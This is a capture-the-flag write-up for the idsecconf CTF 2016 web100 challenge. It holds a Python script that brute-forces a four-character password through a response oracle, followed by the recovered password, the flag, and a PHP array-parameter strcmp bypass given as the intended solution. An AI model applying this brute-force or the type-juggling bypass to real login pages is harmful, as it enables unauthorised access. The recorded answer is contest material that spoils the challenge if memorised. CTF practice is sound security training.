idsecconf CTF 2016 - web100

webwob.py

#!/usr/bin/env python
import requests
import string
import re

alpha=string.ascii_uppercase+string.ascii_lowercase+string.digits
url='http://128.199.96.39/?password='
m = re.compile('invalid [0-9]')
password = ['a']*4 

def send_request(password):		
	r = requests.get(url+password)	
	print url+password	
	return m.findall(r.text)[0]

for i in range(0,4):
	char = ""
	index = 0
	for j in alpha:
		tmp_pass = password
		tmp_pass[i] = j
		f = send_request("".join(tmp_pass))
		print f
		if 'invalid 1' in f and i==0:
			index = i				
			char = j
			print char
			break
		if 'invalid 2' in f and i==1:
			index = i				
			char = j
			print char
			break
		if 'invalid 3' in f and i==2:
			index = i				
			char = j
			print char
			break
'''
==
http://128.199.96.39/?password=Ungu
The Flag is: flag{AVariant_Of_Strcmp}
== 
Intended solution: 
http://128.199.96.39/?password[][]=1&password[][]=1&password[][]=1&password[][]=1 
'''